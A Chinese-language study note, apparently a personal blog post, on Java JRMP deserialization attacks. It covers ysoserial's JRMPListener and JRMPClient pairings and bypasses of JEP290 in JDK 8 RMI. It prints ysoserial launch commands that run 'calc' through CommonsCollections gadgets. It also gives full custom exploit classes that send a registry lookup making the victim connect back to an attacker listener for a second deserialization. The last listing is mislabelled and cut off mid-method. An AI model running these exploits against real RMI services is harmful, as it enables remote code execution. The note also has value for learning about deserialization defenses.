Java JRMP攻击

前言:Java JRMP攻击学习笔记,随便记录,学习哪记录到哪,可能有些不是很细节,以后慢慢补充

参考文章:https://blog.csdn.net/sinat_34596644/article/details/52599688
参考文章:https://www.cnblogs.com/escape-w/p/16107675.html
参考文章:https://zhuanlan.zhihu.com/p/431637346

1、这篇文章,是当时泛微OA XStream反序列化时候的利用,环境为XStream高版本,正常打不了,所以用了最近的XStream CVE-2021-29505 反序列化的为UnicastRef,需要用到JRMPListener,当时也只会用,现在稍微学习了解!

2、在yso中JRMP模块分为JRMPListener,一个为JRMPClient,payload包名中一对,exploit包名中一对,为什么这样文章中说明

3、这篇文章是作为对RMI的简单理解过后的再次了解学习,当这篇顺利的学习记录完之后就可以开始回顾RMI的九重攻击再次加深印象

4、涉及知识庞大

什么是JRMP

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,基于TCP/IP之上,RMI协议之下,当需要进行RMI远程方法调用通信的时候要求服务端与客户端都为Java编写。

这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范,RMI底层默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。

当然RMI支持的协议除了JRMP还有IIOP协议,而在Weblogic里面的T3协议就是基于RMI去进行实现的。

JRMP协议(Java Remote Message Protocol):RMI专用的Java远程消息交换协议。

IIOP协议(Internet Inter-ORB Protocol) :基于 CORBA 实现的对象请求代理协议。

DGCImpl_Stub和DGCImpl_Skel

之前RMI反序列化中有讲到关于服务端,注册端和客户端之间的反序列化攻击,都是围绕着RegistryImpl_Stub和RegistryImpl_Skel之间来讲的

而其中还有一种JRMP的攻击没有进行讲解,JRMP是RMI专用的Java远程消息交换协议,当服务端和客户端之间通过socket建立连接,其中通信的协议就是通过JRMP协议格式来进行通信的

通过DGCImpl来实现攻击的也有两种,DGCImpl_Stub#dirty(服务端攻击客户端),还有个就是DGCImpl_Skel#dispatch(客户端攻击服务端)

相关的代码可以参考:jdk1.8.0_181/jre/lib/rt.jar!/sun/rmi/transport/DGCImpl.class:243

sun.rmi.transport.DGCImpl_Skel#dispatch,其中DGCImpl_Skel的dispatch也存在两个分支,该两个分支分别是clear和dirty方法,

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        if (var4 != -669196253586618813L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
            DGCImpl var6 = (DGCImpl)var1;
            ObjID[] var7;
            long var8;
            switch(var3) {
            case 0:
                VMID var39;
                boolean var41;
                try {
                    ObjectInput var42 = var2.getInputStream();
                    var7 = (ObjID[])((ObjID[])var42.readObject());
                    var8 = var42.readLong();
                    var39 = (VMID)var42.readObject();
                    var41 = var42.readBoolean();
                } catch (IOException var36) {
                    throw new UnmarshalException("error unmarshalling arguments", var36);
                } catch (ClassNotFoundException var37) {
                    throw new UnmarshalException("error unmarshalling arguments", var37);
                } finally {
                    var2.releaseInputStream();
                }

                var6.clean(var7, var8, var39, var41);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var35) {
                    throw new MarshalException("error marshalling return", var35);
                }
            case 1:
                Lease var10;
                try {
                    ObjectInput var11 = var2.getInputStream();
                    var7 = (ObjID[])((ObjID[])var11.readObject());
                    var8 = var11.readLong();
                    var10 = (Lease)var11.readObject();
                } catch (IOException var32) {
                    throw new UnmarshalException("error unmarshalling arguments", var32);
                } catch (ClassNotFoundException var33) {
                    throw new UnmarshalException("error unmarshalling arguments", var33);
                } finally {
                    var2.releaseInputStream();
                }

                Lease var40 = var6.dirty(var7, var8, var10);

                try {
                    ObjectOutput var12 = var2.getResultStream(true);
                    var12.writeObject(var40);
                    break;
                } catch (IOException var31) {
                    throw new MarshalException("error marshalling return", var31);
                }
            default:
                throw new UnmarshalException("invalid method number");
            }

        }
    }

JRMP Listener/Client

关于JRMP的两种攻击流程如下

第一种攻击方式

个人理解:基于RMI的反序列化中的客户端打服务端的类型

我们需要先发送指定的payload(JRMPListener)到存在漏洞的服务器中,使得该服务器反序列化完成我们的payload后会开启一个RMI的服务监听在设置的端口上。

我们还需要在我们自己的服务器使用exploit(JRMPClient)与存在漏洞的服务器进行通信,并且发送一个利用链,达到一个命令执行的效果。

简单来说就是将一个payload(JRMPListener)发送到存在漏洞的服务器,存在漏洞的服务器反序列化操作该payload(JRMPListener)过后会在指定的端口开启RMI监听,然后再通过exploit(JRMPClient) 去发送利用链载荷,最终在存在漏洞的服务器上进行反序列化操作。

第二种攻击方式

个人理解:基于RMI的反序列化中的服务端打客户端的类型,这种攻击方式在实战中比较常用

将exploit(JRMPListener)作为攻击方进行监听。

我们发送指定的payloads(JRMPClient)使得存在漏洞的服务器向我们的exploit(JRMPListener)进行连接,连接后exploit(JRMPListener)则会返回给存在漏洞的服务器序列化的对象,而存在漏洞的服务器接收到了则进行反序列化操作,从而进行命令执行的操作。

PS:这里的payload和exploit就是指的不同包下的JRMPListener和JRMPClient!

第一种攻击方式payloads/JRMPListener+exploit/JRMPClient(客户端打服务端类型)

这里的话了解原理就从代码层面入手,这里学习的还是ysoserial的实现,这里先看playloads/JRMPListener的实现,这里也就是第一种攻击方式,最终的实现效果就是 使得对方存在反序列化漏洞的服务器上启动RMI服务,使得我们能够发送攻击数据。

ysoserial的ysoserial.payloads.JRMPListener反序列化链如下,可以看出来利用的是UnicastRemoteObject的反序列化

UnicastRemoteObject.readObject()
    UnicastRemoteObject.reexport()
        UnicastRemoteObject.exportObject()
            UnicastServerRef.exportObject()
                LiveRef.exportObject()
                    TCPEndpoint.exportObject()
                        TCPTransport.exportObject()
                            TCPTransport.listen()

payloads/JRMPListener实现代码如下,可以看到通过createWithConstructor方法来实例化了一个UnicastRemoteObject对象

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(
            ActivationGroupImpl.class,
            RemoteObject.class,
            new Class[] {RemoteRef.class},
            new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }

createWithConstructor的方法如下定义,其需要的参数有四,其一是需要得到的对象类,其二是需要得到的类的构造函数所在的类(第一个条件的父类),其三是所需要的构造子的参数类型(便于从父类中查找对应的构造函数),其四就是构造函数所需的具体参数。

可以看到大致就是通过反射来实现获得对应的constructorClass的构造器,该构造器的类型是conArgTypes和consArgs来进行决定的,最后返回一个对应的实例化对象

    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
	    setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
	    setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }

最终的结果就是 newConstructorForSerialization 函数创建出的 UnicastRemoteObject对象(向上转型)来进行返回

可以来进行调试跟踪下,在createWithConstructor的地方下断点来进行学习分析

F7跟进UnicastServerRef构造方法,可以发现UnicastServerRef的构造方法又会条用一层父类的构造方法,参数为LiveRef

继续F7,来到LiveRef的构造方法

它会先生成一个ObjId的实例化对象,这个对象会生成一段标识符来作为当前LiveRef对象的标记,这里不重要

继续来到LiveRef的this方法,会发现它又继续调用其他参数的构造方法,那么继续跟

先来到的就是getLocalEndpoint,这里就不跟了,因为都不太重要,它的作用是帮我们包装了当前的IP地址和端口信息的一个TCPEndPoint对象

接着就是三个参数的构造方法,获取一些信息

到目前我们就完成了UnicastServerRef中的ref属性赋值为LiveRef,这个LiveRef中包含了TCPEndPoint和当前LiveRef的标识符ObjId和一些相关信息

剩下的就是其他属性的赋值,到这里UnicastServerRef的构造已经完成,返回一个UnicastServerRef对象

接着就是进入createWithConstructor方法了,这个就是刚才说的通过反射来进行实例化对象的方法,这里也来走一遍,首先进行获取consArgsTypes类型参数的构造器,传入的constructorClass为RemoteObject,所以获得的构造器为如下:

接着就是获得一个反射类工厂

接着就是来到newConstructorForSerialization方法,可以看到当前的var2是RemoteRef Class,而var1是ActivationGroupImpl Class,这两个不相等,所以走的就是generateConstructor方法

来看generateConstructor方法,先是生成一个SerializationConstructorAccessorImpl对象,后面就不干了,写的都是啥,看都看不懂...

最后就是相关的操作就是通过反射获得构造器,然后创建一个实例ActivationGroupImpl,不过这里还向上转型了UnicastRemoteObject

最后改了对应的端口然后返回了这个对象,到这里构造JRMP Listener的payload就已经结束了,在yso的运行下,这个对象将会被序列化处理,然后被进行传输,那么既然被序列化了,那么肯定是需要被触发的,我们前提是一个服务器存在反序列化的漏洞点,那么我们将这个序列化的UnicastRemoteObject对象发送过去会产生什么样的结果?

那么这个最后在反序列化的时候到底起到了什么作用呢?

我们这里就来模拟这个序列化的ActivationGroupImpl对象被反序列化的时候是如何进行的!

先通过yso来进行生成这个序列化对象:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1099 > jrmplistener_payload.txt

测试代码:

public class Test {
    public static void main(String[] args) {
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("jrmplistener_payload.txt"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("jrmplistener_payload.txt"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

结果如下,发现一直卡在这里了

但是再看下端口1099,会发现被起来了,到这里你就明白了,payload/JRMPListener中生成的ActivationGroupImpl序列化对象原来在反序列化之后是开启一个RMI服务

那就继续看,因为被向上转型了UnicastRemoteObject,所以先触发反序列化的是UnicastRemoteObject,在被反序列化的时候则是调用UnicastRemoteObject的readObject方法,我们来到readObject方法中

接着跟进到reexport方法中,这里传入的参数是自己强转为Remote对象和一个对应的RMI端口传入

接着就是来到exportObject方法,exportObject中以及后续流程里,就是在研究 RMI 过程中的服务端开启监听端口的整个流程

exportObject的重载再次调用

通过远程引用层RemoteServerRef调用exportObject方法

可以看到,这里首先为传入的ActivationGroupImpl Remote对象创建一个代理,这个代理我们可以推断出就是后面服务于客户端的RegistryImpl的Stub对象。然后将UnicastServerRef的skel(skeleton)对象设置为当前RegistryImpl对象。最后用skeleton、stub、UnicastServerRef对象、id和一个boolean值构造了一个Target对象,也就是这个Target对象基本上包含了全部的信息。调用UnicastServerRef的ref(LiveRef)变量的exportObject()方法。

到上面为止,我们看到的都是一些变量的赋值和创建工作,还没有到连接层,这些引用对象将会被Stub和Skeleton对象使用。

接下来就是连接层上的了,追溯LiveRef的exportObject()方法,很容易找到了TCPTransport的exportObject()方法。

this.transport.exportObject(var1);

下面方法做的事情就是将上面构造的Target对象暴露出去。

首先调用TCPTransport的listen()方法,listen()方法创建了一个ServerSocket,并且启动了一条线程等待客户端的请求。

接着调用父类Transport的exportObject()将Target对象存放进ObjectTable中。

对于RMI服务端和注册端如何绑定远程对象的详细过程还可以参考文章:https://www.cnblogs.com/zpchcbd/p/13517074.html

当前面的payloads/JRMPListener作用了之后,那么对方就已经开启了RMI服务,我们就可以通过exploit/JRMPClient发送gadgets来进行利用了(前提对方存在可以利用的gadgets)

可以先看下yso中的注释:

 * Pretty much the same thing as {@link RMIRegistryExploit} but 
 * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
 * - not deserializing anything (so you don't get yourself exploited ;))

第一个点就是说 exploit/JRMPClient 是为了生成一个 JRMP client 而存在的,并且其功能和 RMIRegistryExpoit 类似,但是 RMIRegistryExpoit 主要目标是 rmi 的 Registry 模块,而 JRMPClient攻击的目标是的 rmi 中的 DGC 模块(Distributed Garbage Collection),说的是只要有RMI服务监听了,都会有DGC的存在!

第二个点就是说该操作不会反序列化任何东西,因为它Client全都是向server发送数据,没有接受过任何来自server端的数据。在 exploit/JRMPListener 和 payloads/JRMPClient 的利用过程中,这个 server 端和 client 端,攻击者和受害者的角色是可以互换的,在你去打别人的过程中,很有可能被反手一下,所以最好的情况就是,只是发送数据,不去接受另一端传过来的信息,所以说用这个 exploit/JRMPClient 是不会自己打自己的)

先来看下yso的exploit/JRMPClient的攻击复现,这里接着上面反序列化了payload/JRMPListener模块,开启了一个1099端口

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections5 calc

这边存在一个问题就是低版本的jdk无法对对应的class文件调试,如下图所示,所以这里的话只能手动看了

因为这里是exploit/JRMPClient通过攻击DGC来进行利用的,调用栈如下所示

readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 77148097 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

通过ysoserial.exploit.JRMPClient#makeDGCCall模块的代码可以知道是通过dirty分支中进行反序列化操作的,最终导致命令执行

这种客户端打服务端的方式,虽然也是二次反序列化,但是其实有点鸡肋,因为本身就是一个反序列化的点,那么我们还需要再去开个rmi服务,然后再次进行攻击,那么就显得没有必要,而且后面的JEP290的限制,往往exploit/JRMPListener+payloads/JRMPClient的方式会更好的攻击利用,当然这个二次反序列化也是可以起到绕过黑名单的效果的

第二种攻击方式exploit/JRMPListener+payloads/JRMPClient(服务端打客户端类型)

这个方法同样是二次反序列化,所以也有绕过黑名单的作用,这个服务端打客户端的类型比起客户端打服务端的类型会更加的常用,个人觉得一方面是外连,那么这种场合会更加的多,然后一方面更多的因为是该exploit/JRMPListener+payloads/JRMPClient还存在绕过jep290的限制,所以往往会更加的通用

exploit.JRMPListener:使用时搭配任意的gadget(如CommonCollections1)生成第二次反序列化的payload,并会在攻击机监听一个指定的端口

payloads.JRMPClient:携带指定的攻击机ip和端口生成受害机第一次反序列化(需要代码中存在一个反序列化点)时的payload,受害机反序列化该payload时会向指定的攻击机ip+端口发起RMI通信,在通信阶段攻击机会将第二次反序列化的payload(如CommonCollections1)发送给受害机,此时发生第二次反序列化,执行真正的恶意命令。

yso中的payloads/JRMPClient的代码如下,其实可以看到就是生成一个向指定的攻击机ip+端口发起RMI通信的payload

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }

这里利用就不演示了,就是找到一个反序列化点,然后将其payloads/JRMPClient发送,自己本地开启一个exploit/JRMPListener监听,如果不在JEP290的限制下的话,就能攻击成功

我上面说了jdk版本限制,在yso这个给的payloads/JRMPClient+exploit/JRMPListener其实已经具有绕过JEP290的策略,在<jdk231下都可以攻击成功,这里继续来学习下关于JEP290的策略限制和如何绕过JEP290

什么是JEP290策略

JEP290 是 Java 底层为了解决反序列化攻击所提出的一种方案,主要有以下机制:

  • 提供一个限制反序列化类的机制,白名单或者黑名单

  • 限制反序列化的深度和复杂度

  • 为 RMI 远程调用对象提供了一个验证类的机制

  • 定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器

它本来是针对 Java9 的一个新特性,但是官方随后决定向下引进增强该机制,对以下 JDK 增加了该特性:

Java SE Development Kit 8, Update 121 (JDK 8u121)

Java SE Development Kit 7, Update 131 (JDK 7u131)

Java SE Development Kit 6, Update 141 (JDK 6u141)

JEP290 核心其实就是增加了一个 ObjectInputFilter 接口,可以将 filter 设置给 ObjectInputStream 对象,在反序列化的时候触发 filter 的检测机制。

下面讲几个关于JEP290的主要的几点

checkAccess限制

首先先看对于注册端的sun.rmi.registry.RegistryImpl_Skel#dispatch的限制,加上了相关checkAccess方法的限制,该方法限制了bind/rebind/unbind等操作只能在本地进行,无法通过远程来进行bind/rebind/unbind,而其中的lookup和list还是可以远程操作

CheckAccess的策略有什么用呢?使得RMI服务,注册端和服务端需要在同一个地址上,比如下面的服务端绑定注册端服务的操作,可以看到就存在RegistryImpl.checkAccess("Registry.bind");

获取客户端请求的ip,然后进行对比,如果是本地地址的话则进行存储allowedAccessCache,但是如果不是本地地址并且不在allowedAccessCache则直接抛出AccessException错误

反序列化过滤器

ObjectInputStream#filterCheck白名单校验

RMI通信反序列化新增了java.io.ObjectInputStream#filterCheck,只有符合如下的类的才能够允许RMI通信反序列化,否则直接抛出异常

return String.class != var2 
&& !Number.class.isAssignableFrom(var2) 
&& !Remote.class.isAssignableFrom(var2) 
&& !Proxy.class.isAssignableFrom(var2) 
&& !UnicastRef.class.isAssignableFrom(var2) 
&& !RMIClientSocketFactory.class.isAssignableFrom(var2) 
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) 
&& !ActivationID.class.isAssignableFrom(var2) 
&& !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED

DGC白名单检验

DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验,只有符合如下的类的才能够允许反序列化,否则直接抛出异常

return (clazz == ObjID.class ||
                 clazz == UID.class ||
                 clazz == VMID.class ||
                 clazz == Lease.class)
                 ? ObjectInputFilter.Status.ALLOWED
                 : ObjectInputFilter.Status.REJECTED;

JAVA JEP290的绕过攻击

分成两个部分,分别是filterCheck和CheckAccess的绕过

针对CheckAccess绕过攻击 < jdk231

其实这个策略只对于攻击注册端的保护,这样子的话我们就无法进行远程绑定对象,也就不能通过客户端去攻击注册端

排除以上的,想绕过的话需要怎么绕过?观察sun.rmi.registry.RegistryImpl_Skel#dispatch,你会发现,其实在RegistryImpl_Skel中的lookup方法还是没有被进行checkAccess的操作的

为什么JEP290没有给lookup本身没有进行checkAccess,原因就是lookup本来功能就是远程接口调用,自然不可能checkAccess,要不然就违背远程调用的意义了

参考ysomap中的实现,可以在ysoserial中自己实现一个lookup方法,使它接受Remote对象作为参数,如下JEP_Naming.java代码所示

这里可能有疑问为什么有原生Naming.java,为什么我们还要自定义写一个呢?这里可以先看下原生Naming.java中的lookup方法实际上是调用sun.rmi.registry.RegistryImpl_Stub#lookup

而该sun.rmi.registry.RegistryImpl_Stub#lookup方法写入的时候只能写入String

我们为了触发sun.rmi.registry.RegistryImpl#lookup中var7 = (String)var8.readObject();的反序列化readObject操作,就需要将其写入的为我们自定义的Object对象,所以重新写了一个JEP_Naming来写入Object对象

public class JEP_Naming {

    /**
     * Disallow anyone from creating one of these
     */
    private JEP_Naming() {}

    public static Remote lookup(Registry registry, Object obj)
        throws Exception {
        RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
        long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));


        java.rmi.server.Operation[] operations = (Operation[]) Reflections.getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                //反射修改enableReplace
                Reflections.setFieldValue(out, "enableReplace", false);
                out.writeObject(obj); // arm obj
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {
            if(e instanceof RemoteException| e instanceof ClassCastException){
                return null;
            }else{
                throw e;
            }
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        } finally {
            ref.done(call);
        }
    }


}

JRMPClient_bypass_jep_jdk231.java

public class JRMPClient_bypass_jep_jdk231 extends PayloadRunner implements ObjectPayload<Remote> {

    public Remote getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        Remote obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient_bypass_jep_jdk231.class.getClassLoader());
        PayloadRunner.run(JRMPClient_bypass_jep_jdk231.class, args);
    }

}

RMIRegistryExploit_bypass_jep_jdk231.java

public class RMIRegistryExploit_bypass_jep_jdk231 {
    private static class TrustAllSSL implements X509TrustManager {
        private static final X509Certificate[] ANY_CA = {};
        public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
    }

    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch(Exception e) {
                throw new IOException(e);
            }
        }
    }

    public static void main(final String[] args) throws Exception {
        final String host = "192.168.2.4";
        final int port = Integer.parseInt("1099");
        final String command = "192.168.2.4:2333";
        Registry registry = LocateRegistry.getRegistry(host, port);

        try {
            registry.list();
        } catch(ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization
        exploit(registry, command);
    }

    public static void exploit(final Registry registry,  final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
            JRMPClient_bypass_jep_jdk231 jrmpclient = new JRMPClient_bypass_jep_jdk231();
            Remote remote = jrmpclient.getObject(command);
            try {
                JEP_Naming.lookup(registry,remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }

            return null;
        }});
    }
} 

针对CheckAccess绕过攻击环境演示

首先java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections6 calc

模拟开启一个rmi服务

运行RMIRegistryExploit_bypass_jep_jdk231.java进行攻击

filterCheck绕过攻击UnicastRef类 < jdk231

上面讲解了一种绕过RegistryImpl.checkAccess的攻击,所以如果不是本地地址去bind注册端恶意操作的时候,则会触发checkAccess的限制

这里继续讲解filterCheck的绕过,而对于filterCheck的绕过的话,下面的白名单里的类虽然很少,但是还是存在方法可以绕过的

我们客户端去跟注册端或者服务端进行bind或者lookup的操作的时候,实际上都是通过构造unicastRef中LiveRef所封装的 host、端口等信息,我们就可以发起一个任意的 JRMP 连接请求,而恰好unicastRef正好是在filterCheck白名单中,那么如果可以控制unicastRef发起请求的话实际上就能绕过JEP290的限制

return String.class != var2 
&& !Number.class.isAssignableFrom(var2) 
&& !Remote.class.isAssignableFrom(var2) 
&& !Proxy.class.isAssignableFrom(var2) 
&& !UnicastRef.class.isAssignableFrom(var2) 
&& !RMIClientSocketFactory.class.isAssignableFrom(var2) 
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) 
&& !ActivationID.class.isAssignableFrom(var2) 
&& !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED

上述提及的绕过方法,这其实就是ysoserial中的payloads.JRMPClient的原理,下面大致过一下流程

先观察payloads.JRMPClient利用链如下,可以看到反序列化入口点是UnicastRef的readExternal方法

 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)

模拟反序列化操作,先开启监听java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections6 calc

然后反序列化ysoserial.payloads.JRMPClient,这里会在sun.rmi.server.UnicastRef#readExternal停下,如下图所示

获取到的是ObjectInput对象,所以这里的判断分支走的是下面的DGCClient.registerRefs(var2, Arrays.asList(var5));

同时将相关的TCPEndpoint对象读取,其中要请求的地址就是我们的恶意服务端127.0.0.1:2333

接着其中的sun.rmi.transport.DGCClient#registerRefs方法继续发起sun.rmi.transport.DGCClient.EndpointEntry#lookup请求,

在lookup方法中进行sun.rmi.transport.DGCClient.EndpointEntry实例化,参数为TcpEndPoint对象

实例化EndpointEntry过程中,创建了一个LiveRef对象,接着创建了对应的createProxy中DGC_Stub和DGC_Skel

lookup完成了之后得到一个EndpointEntry,又会回到sun.rmi.transport.DGCClient#registerRefs,接着执行EndpointEntry.registerRefs

这里实际上就是通过代理DGCImpl_Stub来发起网络请求,通过sun.rmi.transport.StreamRemoteCall#executeCall请求的目标就是我们的恶意服务端,最终导致反序列化readObject返回的数据,最后命令执行

其中触发sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall -> java.rmi.dgc.DGC#dirty -> java.rmi.server.RemoteRef#invoke(java.rmi.server.RemoteCall) -> sun.rmi.transport.StreamRemoteCall#executeCall

过程总结图如下所示

CTF中可能出现的

1、在ysoserial.payloads.JRMPClient#getObject中可以看到,构造的对象是通过Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {Registry.class}, obj);,动态代理来实现,实际上这里的动态代理其实都可以不用,直接返回RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);这个obj对象同样可以进行触发

2、第二点就是如果RemoteObjectInvocationHandler被过滤的话,其实还可以寻找RemoteObject的其他子类来构造,很多子类都满足要求,比如如下的,只要满足序列化的时候能够将其中的UnicastRef进行保存,最终反序列化的时候触发的还是UnicastRef的操作即可

RemoteObjectInvocationHandler
RMIConntionImpl_Stub
DGCImpl_Stub
RmiServerImpl_Stub
ReferenceWrapper_Stub
...

8u231的修复

而在jdk8u231中,RMI又增加了新的安全措施

针对accessCheck修复

首先是对注册中心进行了加固,其实也就是对lookup加强了验证,虽然可以外界lookup,但是在RegistryImpl_Skel#dispatch的lookup对于传入的参数也进行了严格的字符串验证,可以看到如果存在读取字符串失败,那么直接调用discardPendingRefs方法

discardPendingRefs方法就会直接清空incomingRefTable对象,也就导致无法通过上面的绕过JEP290的payload来进行攻击了

针对filterCheck的修复

在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程,又会被 JEP290 check 到了,如下图所示jdk231和jdk181的对比修复图

对于8u231的修复的绕过(可以利用的jdk版本在8u241之下)

关于修复的绕过就不详细讲解了,下面给了参考绕过的文章,不得不说就算我拿来一步一步跟都显得很吃力,就不说如何去逆向挖掘这种绕过了,还是需要多多学习

参考文章:https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/

RMIRegistryExploit_bypass_jep_jdk241.java

package ysoserial.exploit;

import ysoserial.payloads.JRMPClient_bypass_jep_jdk231;
import ysoserial.secmgr.ExecCheckingSecurityManager;

public class RMIRegistryExploit_bypass_jep_jdk231 {
    private static class TrustAllSSL implements X509TrustManager {
        private static final X509Certificate[] ANY_CA = {};
        public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
    }

    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch(Exception e) {
                throw new IOException(e);
            }
        }
    }

    public static void main(final String[] args) throws Exception {
        final String host = "192.168.2.4";
        final int port = Integer.parseInt("1099");
        final String command = "192.168.2.4:2333";
